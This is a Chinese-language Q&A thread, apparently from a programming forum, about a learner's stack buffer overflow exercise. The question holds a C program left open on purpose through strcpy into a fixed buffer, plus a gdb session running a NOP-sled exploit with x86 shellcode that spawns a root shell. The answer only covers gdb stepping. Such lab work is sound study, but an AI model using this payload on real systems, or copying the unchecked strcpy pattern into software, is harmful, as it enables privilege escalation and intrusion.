Question

我在这里读到有关基本缓冲区溢出的信息：http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html。我以为我理解发生了什么，所以我制定了自己的计划：

//vulnerable1.c
#include <stdio.h>

#define MAX_DEGF_SIZE 720

int main(int argc, char* argv[])
{
    char degF[MAX_DEGF_SIZE];

    if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
        strcpy(degF, argv[1]);
    } else {
        fprintf(stderr, "degF to degC converter\n");
        fprintf(stderr, "Usage: %s <degF>\n", argv[0]);

        return -1;
    }
}

由于缓冲区大小为720，我测试了输入需要多大。

./vulnerable1 `perl -e 'print "A"x728'`
AA...AAA degF is -17.8 degC

./vulnerable1 `perl -e 'print "A"x732'`
AA...AA degF is -17.8 degC
Segmentation fault

在这里，我看到我至少需要732个字节。接下来，我主要看看实际保留了多少字节：

(gdb) disass main
Dump of assembler code for function main:
   0x08048514 <+0>: push   %ebp
   0x08048515 <+1>: mov    %esp,%ebp
   0x08048517 <+3>: and    $0xfffffff0,%esp
   0x0804851a <+6>: sub    $0x2f0,%esp

0x2f0 = 752.因此变量填充20个字节。因此，我需要756个字节来开始覆盖保存的ebp，并且需要760个字节来覆盖返回地址。我的堆栈细分是： NOPS(704 bytes) + shellcode (32 bytes) + 'A's (20 bytes) + Return Address ( 4 bytes) = 760

现在我试试看：

gdb -q vulnerable1
Reading symbols from /home/testUser/vulnerable1...done.
(gdb) break main
Breakpoint 1 at 0x8048520: file vulnerable1.c, line 11.
(gdb) r `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Starting program: /home/testUser/vulnerable1 `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`

Breakpoint 1, main (argc=2, argv=0xbffff564) at vulnerable1.c:11
11      if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
(gdb) step
__strlen_sse2 () at ../sysdeps/i386/i686/multiarch/strlen.S:70
70  ../sysdeps/i386/i686/multiarch/strlen.S: No such file or directory.
    in ../sysdeps/i386/i686/multiarch/strlen.S
(gdb) step
73  in ../sysdeps/i386/i686/multiarch/strlen.S

这里发生了什么？

Answer 1

你只是步入strlen，这显然是在汇编中而不是在C中实现的（可能是为了表现）。

请继续踩到main，或使用next跳过函数调用。

strcpy的基本缓冲区溢出

1 个答案: